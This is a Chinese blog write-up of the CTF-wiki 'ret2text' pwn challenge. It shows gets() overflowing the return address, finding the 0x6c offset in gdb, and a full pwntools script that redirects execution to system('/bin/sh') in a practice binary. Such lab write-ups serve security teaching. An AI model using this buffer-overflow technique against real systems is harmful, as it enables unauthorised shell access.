• [WP]CTFwiki-ret2text


    1.首先运行一下程序

    2.简单地检查一下程序,32位程序,开启了部分Relro保护,有NX保护(其实并没有什么影响)

     

    3.观察 main 函数不难发现是通过 gets() 函数输入来覆盖返回值。

     4.在 ida 里发现有 system("/bin/sh") 的代码,这样其实我们以及可以构造 exp 了,现在只需要测出覆盖长度即可

     

     

    5.载入 gdb 中在 call gets 处下一个断点,之后查看寄存器(不同系统可能有所不同)

    EBP: 0xffffd168 --> 0x0 
    ESP: 0xffffd0e0 --> 0xffffd0fc --> 0xf7ffd000 --> 0x26f34 

      

      

    6. 0x168 - 0xfc = 0x6c,之后可以写 exp 了

    #!/usr/bin/env python
    from pwn import *
    
    #EBP = 0xffffd168
    #ESP = 0xffffd0e0 -> 0xffffd0fc -> 0xf7ffd000 -> 0x26f34
    #padding_num1 = d168 - d0fc = 0x6c
    #padding_num2 = 4               (32-bit)
    p = process('./ret2text')
    bin_sh_addr = 0x804863A
    payload = 'a' * (0x6c + 0x4) + p32(bin_sh_addr)
    p.recvuntil('thing?')
    p.sendline(payload)
    p.interactive()

  • 相关阅读:
    PMO的重要性
    idea CPU过高问题
    近期面试心得
    Spring-Eureka
    BIO/NIO
    redis redlock
    nmon 安装及使用 【linux环境】
    一致性hash 算法
    gossip协议了解
    00008
  • 原文地址:https://www.cnblogs.com/Tsuiyields/p/11874933.html
Copyright © 2020-2023  润新知